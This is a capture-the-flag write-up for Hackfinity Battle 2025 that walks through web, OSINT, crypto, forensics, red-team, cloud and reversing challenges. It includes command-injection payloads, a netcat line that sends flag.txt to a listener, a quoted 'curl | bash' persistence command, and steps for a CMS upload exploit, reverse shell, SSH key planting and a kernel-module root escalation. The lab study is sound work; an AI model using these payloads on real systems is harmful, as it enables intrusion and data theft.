Hackfinity Battle CTF 2025
Hey, fellow hackers! 🏴☠️
In this writeup 📝, I’ll break down some of the exciting challenges solved by myself and my squad P4rad0x. Let’s dive in and unpack the flags, one puzzle at a time. 🧩💡
Web
Notepad

I am given a simple login for an online notepad service.
Credentials:
User:
noelPass:
pass1234

After logging in, the URL shows a classic pattern: /note?id=1

That triggered an alarm. And it is IDOR (Insecure Direct Object Reference). Tampering with the ID parameter gives access to other users notes.
Changing id=1 → id=0 revealed the very first note created on the service… and inside:

THM{i_can_see_your_notes}
Dark Encryptor

Upon visiting http://<machine_ip>:5000, you’re greeted with a site offering encryption using PGP. It accepts a message from the user and returns the encrypted version.

Submitting ; alone gave an error indicating bash was parsing the input — a sign of command injection.

By chaining commands, like:
; ls
I can list the directory contents.

By listing the files in the directory, I found a file flag.txt Using cat printed the contents of the file.
; cat flag.txt
THM{pgp_cant_stop_me}
Dark Encryptor 2

This time, the site allows you to upload a file and choose a recipient for encryption using GPG.

After uploading a file, the app returns a .gpg link:

Accessing this directly works — but there’s more.
Changing the recipient didn’t yield much — until you tried injecting into the filename or parameters.
Eventually, command injection slipped through in "recipient" parameter . Using payloads like before:
; ls will not go through

Using ; $(ls) will throw an error in encryption attempt. which shows the command is running but we can't see the output here.

So , I used netcat to receive data from the server. A crafted reverse shell allowed it to send command output to the listener.
; $( ls | nc <listener-ip> <listener-port> )

I can list the directory contents. By listing the files in the directory, I found a file flag.txt Using cat printed the contents of the file.
; $( cat flag.txt | nc <listener-ip> <listener-port> )
THM{going_in_bl1nd_2394}
Osint
Catch me if you can

We’re provided with a image of Cipher’s accomplice “Phicer” leaving a restaurant.
The mission: Identify the burger restaurant using only the photo. Time to zoom in, enhance, and hit the virtual streets.
Here's the image we were given:

After inspecting the image closely, I noticed a unique street art mural on the wall in the background — a perfect anchor for visual location hunting.
I tried several reverse image search engines (Google Lens, Yandex), and after a bit of patience, I got a hit! The mural appeared in a few public Instagram posts, mostly geotagged around São Paulo, Brazil. Narrowing further, I matched the mural to a specific alley known for graffiti art.

Boom💥— we hit the spot!
THM{coringa_do_beco}
Catch Me If You Can 3

The next challenge builds on the previous one — now that we’ve found a visual clue, we need to dig into one of Cipher’s safe house locations.
We’re given a clue that mentions Mr. Wok, and the location is somewhere in São Paulo.
The Approach:
I Googled: "mr.wok" "safe house" São Paulo

It led me to a business listing and maps result that matched the style and area from the previous clue. I examined the address and compared it to our last known location.
It checked out! This was indeed one of Cipher’s safe spots.
THM{83_galvao_bueno}
Cryptography
Order

We’re given this hex blob:
Assume the message starts with
ORDER:XOR the first 6 bytes of the ciphertext with
ORDER:to get the keyUse the repeating key to decrypt the whole thing
💻 Decryption Script:
Result: ORDER: Attack at dawn. Target: THM{the_hackfinity_highschool}
THM{the_hackfinity_highschool}
Cipher's Secret Message

We found a strange encrypted string and the algorithm that created it. Time to play cipher surgeon.
a_up4qr_kaiaf0_bujktaz_qm_su4ux_cpbq_ETZ_rhrudm
Encryption Logic:
They used a twist on the Caesar cipher — for each letter in the message, shift it forward by its position index.
Python snippet:
To decrypt, we simply reverse the index shift.
💻 Decryption Script:
Output:
THM{a_sm4ll_crypt0_message_to_st4rt_with_THM_cracks}
Cryptosystem

We intercepted Cipher’s secret RSA message. All we got is a file containing the encrypted flag and the encryption logic. Time to go full 007.
Understanding the Given RSA Setup
You provided an RSA encryption setup where:
p is a 1024-bit prime
q is the next prime after p
n=p×qe=65537 (common public exponent) # 0x10001
c is the encrypted flag
To decrypt c back to plaintext. First, Get p and q, From the code:
p is random, and q is the next prime after p (primo(p)).
Given
n = p × q, we can factor n by finding the largest prime ≤ sqrt(n). And, Obtain d
ϕ(n) = (p−1) × (q−1)
d= e^−1 mod ϕ(n)
Using modular inverse, we compute d. Then, find the flag.
m = c^d mod n
Convert m (the decrypted number) back to a string.
💻 Decryption Script:
Output:
THM{Just_s0m3_small_amount_of_RSA!}
Forensics
Stolen Mount

Loaded the provided challenge.pcapng file in Wireshark. Immediately noticed a bunch of TCP and NFS traffic—lots of noise, but we need the signal. Scanned for patterns and signatures… then
BOOM! Found a familiar ZIP file header.

Looked for PK\x03\x04 in Wireshark (magic bytes of ZIP files). Found it buried in a data packet.
Extracted the entire hexdump of the ZIP stream and used CyberChef to reconstruct the ZIP file.

ZIP is Password Protected?!
Not a problem—this isn’t our first rodeo.
Dug deeper in the PCAP and found an MD5 hash floating in one of the packets.

Cracked the Hash using CrackStation. The password of the zip file is avengers .💥

Unzipped the file with the password and it worked!. Inside a QR code.

Scanned the QR for flag.
THM{n0t_s3cur3_f1l3_sh4r1ng}
Infinity Shell

Something shady hit this CMS site. Let's rewind the tape and see how the attacker broke in, and what shell games they played.
Explored the Web Server, Navigated through the CMS site and discovered a db.php file and started poking around. It has the SQL username and password with that I searched the database.

Accessed SQL Database and found php_cms as the main DB.
In that the "users" table looked interesting… and one entry stood out:
A PHP file as a profile image? Classic Web Shell trick!
Inspected the Malicious File:
A very compact Remote Command Execution (RCE) backdoor.
The attacker could send base64-encoded commands via the URL.
So, I hunted for the log files and I found some interesting logs in /var/log/apache2/other_vhosts_access.log.1 . It logged every move of the attacker!

Decoded Base64 Commands:

THM{sup3r_34sy_w3bsh3ll}
Sneaky Patch

Analysts say there's something shady deep in the kernel. Normal tools aren't seeing it. Looks like we're dealing with a backdoored module. Let’s dig deeper than deep
First step, I scanned kernel logs, looked into /var/log/kern.log and spotted this spicy entry:
/proc/cipher_bd , but the file is empty. After some looking around, I stumble upon the name “spatch”.
It is a custom kernel module (spatch) and it was loaded:
For identifiying the module details. I used lsmod , it showed it was active.
modinfo spatch gave metadata:
This gives so much inforamtion about the backdoor, in that we got the kernel object file spatch.ko .
Used strings on it and found some interesting data.
Here's the secret: 54484d7b73757033725f736e33346b795f643030727d0a
Decoding the hex, Boom💥
THM{sup3r_sn34ky_d00r}
Hide and Seek

"I've sprinkled a few persistence implants across your system, like digital Easter eggs... Time is on my side, always running like clockwork..."
He gave us riddles. We gave him receipts.
Clue 1: "Time is on my side, always running like clockwork."
Sounds like... cronjobs or anything time-based. But got nothing. Then I looked into system logs.
Found something in /var/log/syslog.1
Decoding the base64 gives us curl -s 54484d7b7930.storag3_c1ph3rsqu4d.net/a.sh | bash

54484d7b7930 is hex → converts to
THM{y0
Clue 2: “A secret handshake gets me in every time.”
Handshake = SSH
There are five users to be exact, I search every user's ".ssh". User "zeroday" has ".authorized_keys" file. Inside it has a interesting string
326e6420706172743a20755f6730745f.local

326e6420706172743a20755f6730745f is hex → converts to
2nd part: u_g0t_
Clue 3: "Whenever you set the stage, I make my entrance."
This one's theatrical — maybe a reference to login scripts. There is no user defined scripts.
Then I checked the .bashrc and .profile file of every user.
.bashrc — jackpot in specter user profile:

4d334a6b58334130636e513649444e324d334a3564416f3d is hex → converts to
3rd_p4rt: 3v3ryt
Clue 4: "I run with the big dogs, booting up alongside the system."
Persistence at system startup? Checked for systemd services...
systemctl list-unit-files | grep enabled
Found a shady one:
cipher.service enabled and running.
Then I searched through the service and how it is executed using
systemctl show cipher | grep ExecStart
NHRoIHBhcnQgLSBoMW5nXyAK.s1mpl3bd.com in this we get

NHRoIHBhcnQgLSBoMW5nXyAK is base64 → converts to
4th part - h1ng_
Clue 5: “I love welcome messages.”
Checked:
/etc/motd→ Message of the Day/etc/issue→ Pre-login message/etc/issue.net→ Remote login message
No luck. Then I dove into /etc/update-motd.d/00-header — bingo.
4c61737420706172743a206430776e7d0.h1dd3nd00r.n3t from this we get

4c61737420706172743a206430776e7d0 is hex → converts to
Last part: d0wn}
Final flag → THM{y0u_g0t_3v3ryth1ng_d0wn}
Red Teaming
Avengers Hub

Initial Reconnaissance
Network Scanning:
The first step was to perform an Nmap scan to identify open ports and services running on the target machine.
Scan Results:
The scan reveals two open ports:
Port 22 (SSH): OpenSSH 8.2p1 running on Ubuntu.
Port 80 (HTTP): Apache 2.4.41 web server hosting a website titled Cyber Avengers Hub - Under Construction.
With this information, I turned my focus to exploring the web application.
Web Enumeration

Navigating through the website, I uncovered two important directories:
/backups/var/log
Inside the /backups directory, I found a password-protected ZIP file named breakglass.zip. Before attempting to crack it, I explored the /var/log directory.

Here, I found a log file named php_error.log.php, but it was inaccessible, indicating a possible dead-end.
Cracking the Zip Password:

Since the breakglass.zip file was encrypted, I used zip2john to extract the hash and then cracked it with John the Ripper using the rockyou.txt wordlist.
Cracked Password: avenger2008
After extracting the ZIP file, I found a recovery.txt file containing an MD5 hash for the admin password.
Using an online hash-cracking service crackstation, the hash revealed the plaintext password: securepassword.
Admin Login & Exploitation
Logging into CMS:
Using the credentials admin:securepassword, I gained access to the WBCE-CMS v1.6.2 admin panel.
A quick search revealed an exploit for this version: WBCE CMS v1.6.2 - Remote Command Execution.


Exploiting the Vulnerability:
The exploit involved uploading a PHP file through the CMS elFinder tool:
Log in as admin and navigate to Admin Tools.
Open elFinder (
https://<target-ip>/admin/admintools/tool.php?tool=elfinder).Upload a malicious PHP script (
exp.inc).Access the uploaded file (
https://<target-ip>/media/exp.inc).
To test the functionality, I uploaded a simple PHP script to output phpinfo().



The output showed that functions like system and shell_exec were disabled, but popen was available.
Gaining the Reverse shell
Since popen was enabled, I leveraged it to spawn a reverse shell, Reference: popen revshell exploit
After uploading the script and setting up a Netcat listener, I received a shell.

Inside the shell, I enumerated user home directories:
Inside void's home directory, I found an .ssh folder with writable .authorized_keys.
SSH Privilege Escalation
To establish persistent access, I generated an SSH key and appended my public key to .authorized_keys.
Now, I had SSH access as user void.

THM{us3r_f00th0ld}
Privilege Escalation to Root
Running sudo -l, I found:
This meant I could load and unload kernel modules. I crafted a malicious kernel module to escalate privileges.
Kernel Module Backdoor:
I used reference from Linux kernel module backdoor by matheuspd and a little Chatgpt to make it.
Makefile:
Compiling and Executing:
Now, I had root access:
The mission was complete!
The command is executed and the log is printed as planned.
THM{l3ts_t4k3_1t_b4ck}
Cloud
Cloud sanity check

I've been handed AWS credentials with a hint: “You only have access to one service — and it’s the one with the flag."
Time to gear up with the aws-cli and dive in.
Confirmed the identity with the command aws sts get-caller-identity
User: arn:aws:iam::332173347248:user/user0
Enumeration :
I started probing all available services — until secretsmanager responds!
What is AWS Secrets Manager ?
AWS Secrets Manager is a fully managed service by Amazon Web Services that helps you store, manage, and retrieve sensitive information, like:
Database credentials (usernames & passwords)
API keys
OAuth tokens
SSH keys
Any other kind of secret
I listed the secrets manager using :
aws secretsmanager list-secrets
ID : secret-flag
Extracting the contents of the secret-flag using the command :
aws secretsmanager get-secret-value --secret-id secret-flag
SecretString : "{"flag":"THM{for_your_eyes_only}"}",
THM{for_your_eyes_only}
A Bucket of Phish

A phishing site hosted via AWS S3 has been targeting users. I was asked to recover the list of victims.
🖥️ Website:
http://darkinjector-phish.s3-website-us-west-2.amazonaws.com
Listing S3 buckets using:
aws s3 ls s3://darkinjector-phish/
Discovered a suspicious file: captured-logins-093582390
Download & Reviewed the file using :
aws s3 cp s3://darkinjector-phish/captured-logins-093582390 .
" . " is the current directory, you can use any directory
The contents of the captured-logins-093582390 is :
THM{this_is_not_what_i_meant_by_public}
Reversing
Compute Magic

We’re handed a binary from a Phantom server with a simple objective: “Compute some magic!”. Our task? Reverse-engineer the logic, understand what this binary expects, and extract the flag.
After executing the binary locally, it prompts for an input — no hints, just a blank stare waiting for 16 characters.
Loading it into a disassembler (Ghidra), we spot the following:

It reads 16 bytes of input.
The input is passed into a function named
check_spell.Within
check_spell, a function of interest appears:func_17.

Inside func_17, two notable calls caught the eye:
check_otherread_flag
Here’s the strategy: make it to read_flag() by satisfying whatever logic check_other() imposes.


Digging into the logic :
The check_other() function is doing some math on each character of the input, comparing the results with a hardcoded string: "AhhF1ag1571GHFDS"
By tracing the operations, we deduce the transformation applied to each character:
This gives us the required input: HaaG8hf8468FAGEZ
Connecting to the server with netcat and feeding the input, the flag pops right out.
THM{s0m3_mag1c_that_can_b3_computed}
Last updated
